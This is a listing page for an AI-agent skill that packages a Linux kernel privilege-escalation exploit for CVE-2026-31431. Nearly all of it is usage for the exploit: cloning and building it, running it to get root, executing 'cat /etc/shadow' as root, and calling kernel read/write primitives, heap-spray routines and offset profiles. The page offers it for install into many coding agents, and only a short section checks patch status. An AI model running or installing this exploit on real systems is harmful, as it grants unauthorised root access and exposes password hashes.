aradotso/trending-skills/copy-fail-cve-2026-31431
Claude Code and agent skill by aradotso/trending-skills
- community
Checking that the SKILL.md file is still in the repository.
Install
npx vskill@latest install aradotso/trending-skills/copy-fail-cve-2026-31431SKILL.md
git clone https://github.com/theori-io/copy-fail-CVE-2026-31431.git cd copy-fail-CVE-2026-31431
Create virtual environment
python3 -m venv venv source venv/bin/activate
Install Python dependencies
pip install -r requirements.txt
make
or
gcc -o helper helper.c -lpthread
copy-fail-CVE-2026-31431/ ├── exploit.py # Main exploit entry point ├── exploit/ │ ├── __init__.py │ ├── core.py # Core exploit logic │ ├── primitives.py # Kernel read/write primitives │ ├── spray.py # Heap spray utilities │ └── utils.py # Helper utilities ├── helper.c # Native C helper (compiled separately) ├── requirements.txt ├── Makefile └── README.md
Basic run — attempt privilege escalation to root
python3 exploit.py
Verbose output for debugging
python3 exploit.py --verbose
Specify a shell to spawn after root is obtained
python3 exploit.py --shell /bin/bash
Specify a command to run as root
python3 exploit.py --exec "id && cat /etc/shadow"
Target a specific kernel offset profile
python3 exploit.py --profile ubuntu-24.04-6.17
List built-in kernel profiles
python3 exploit.py --list-profiles
from exploit.core import CopyFailExploit from exploit.utils import get_kernel_version, is_vulnerable
Check if the current kernel is vulnerable
kernel = get_kernel_version() print(f"Kernel: {kernel}")
if is_vulnerable(kernel): print("[+] Kernel appears vulnerable to CVE-2026-31431") else: print("[-] Kernel may not be vulnerable or is patched")
Initialize and run the exploit
exploit = CopyFailExploit(verbose=True) result = exploit.run()
if result.success: print(f"[+] Privilege escalation successful! UID: {result.uid}") else: print(f"[-] Exploit failed: {result.error}")
from exploit.primitives import KernelPrimitives
prims = KernelPrimitives()
Establish arbitrary read/write after initial corruption
prims.setup()
Read 8 bytes from a kernel address
value = prims.read64(kernel_addr) print(f"Value at {hex(kernel_addr)}: {hex(value)}")
Write 8 bytes to a kernel address
prims.write64(target_addr, new_value)
Read a range of kernel memory
data = prims.read_bytes(kernel_addr, length=256) print(data.hex())
from exploit.spray import HeapSpray
spray = HeapSpray()
Allocate controlled objects to shape the slab heap
spray.allocate(count=1000, size=256, data=b"\x41" * 256)
Free every other allocation to create holes
spray.create_holes(step=2)
Trigger the vulnerable copy path
spray.trigger_copy_fail()
Check spray success
if spray.check_overlap(): print("[+] Heap spray successful — objects overlap")
from exploit.core import CopyFailExploit, ExploitConfig
config = ExploitConfig( verbose=True, spray_count=2000, # Number of spray objects retry_limit=5, # Max retries on partial failure shell="/bin/bash", # Shell to spawn on success profile="auto", # Auto-detect kernel profile timeout=30, # Seconds before giving up )
exploit = CopyFailExploit(config=config) exploit.run()
profiles/ubuntu_24_04.py (example structure)
PROFILE = { "name": "ubuntu-24.04-6.17.0-1007-aws", "offsets": { "task_struct_cred": 0xA40, "cred_uid": 0x04, "cred_gid": 0x08, "copy_fail_trigger": 0xFFFFFFFF81234567, # placeholder } }
from exploit.profiles import load_profile, detect_profile
Auto-detect current kernel profile
profile = detect_profile() print(f"Detected profile: {profile['name']}")
Manually load a profile
profile = load_profile("ubuntu-24.04-6.17")
import subprocess from exploit.core import CopyFailExploit from exploit.utils import get_kernel_version, is_vulnerable, dump_system_info
1. Gather system information
info = dump_system_info() print(info)
2. Vulnerability check
kernel = get_kernel_version() if not is_vulnerable(kernel): print("System may be patched — check kernel version.") exit(1)
3. Run exploit with logging
exploit = CopyFailExploit(verbose=True, log_file="/tmp/copyfail.log") result = exploit.run()
4. Post-exploitation (research only)
if result.success: subprocess.run(["id"], check=True)
Override spray count via environment
COPYFAIL_SPRAY_COUNT=3000 python3 exploit.py --verbose
Set custom profile directory
COPYFAIL_PROFILE_DIR=/opt/profiles python3 exploit.py
Enable extra kernel debug output
COPYFAIL_DEBUG=1 python3 exploit.py
import os from exploit.core import CopyFailExploit, ExploitConfig
config = ExploitConfig( spray_count=int(os.environ.get("COPYFAIL_SPRAY_COUNT", 1000)), verbose=bool(os.environ.get("COPYFAIL_DEBUG", False)), profile_dir=os.environ.get("COPYFAIL_PROFILE_DIR", "./profiles"), )
exploit = CopyFailExploit(config=config) exploit.run()
from exploit.utils import check_patch_status
status = check_patch_status() print(f"Patched: {status.patched}") print(f"Kernel: {status.kernel_version}") print(f"Mitigation: {status.mitigation_detail}")
List available profiles
python3 exploit.py --list-profiles
Force auto-detection
python3 exploit.py --profile auto
Manually specify kernel version string
python3 exploit.py --profile-kernel "6.17.0-1007-aws"
Increase spray count and retries
config = ExploitConfig( spray_count=5000, retry_limit=10, )
Run with verbose to observe spray progress
python3 exploit.py --verbose --spray-count 5000
Some primitives require specific capabilities
Ensure you're running as unprivileged user (not already root)
whoami
Check kernel lockdown mode
cat /sys/kernel/security/lockdown
pip install --upgrade -r requirements.txt
If using system Python
python3 -m pip install --user -r requirements.txt
dmesg | tail -50 journalctl -k | tail -50
Ubuntu / Debian
apt-get changelog linux-image-$(uname -r) | grep -i CVE-2026-31431
RHEL / Amazon Linux
rpm -q --changelog kernel | grep -i CVE-2026-31431
General kernel version check
uname -r
Security
- Security scanPassed, 91 of 100Pattern checks on the skill's files.
- Model reviewNot runA model review is scheduled for the next rescan.
Quality evaluation
- Task evaluationNot runNo evaluation yet. Run one in Skill Studio.
Source
- SKILL.md in the repositoryCheckingskills/copy-fail-cve-2026-31431/SKILL.md
Popularity
- Repository stars
- 74
- Repository forks
- 13
- 7-day trend score
- 22
Stars and forks are for the whole GitHub repository, not this skill alone. Refreshed 26 Aug 2026, 2 months ago.
Works with
Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.
- Claude Code
- Cursor
- GitHub Copilot
- Windsurf
- Codex
- Gemini CLI
- Cline
- Amp
- Roo Code
- Goose
- Continue
- Kilo Code
- Junie
- Trae
- OpenHands
- Qwen Code
- AI Agent
- Tabnine Chat
- Sourcegraph Cody
- Amazon Q
- Firebase Genkit
- Sweep
- Devin
- Phind
- Mentat
- Claude Desktop
- Aider
- GPT Pilot
- Plandex
- bolt.new
- v0
- Replit Agent
- Anse
- TypingMind
- BetterChatGPT
- LibreChat
- Warp AI
- Pieces
- Fig AI
Embed badge
[](https://verified-skill.com/skills/aradotso/trending-skills/copy-fail-cve-2026-31431)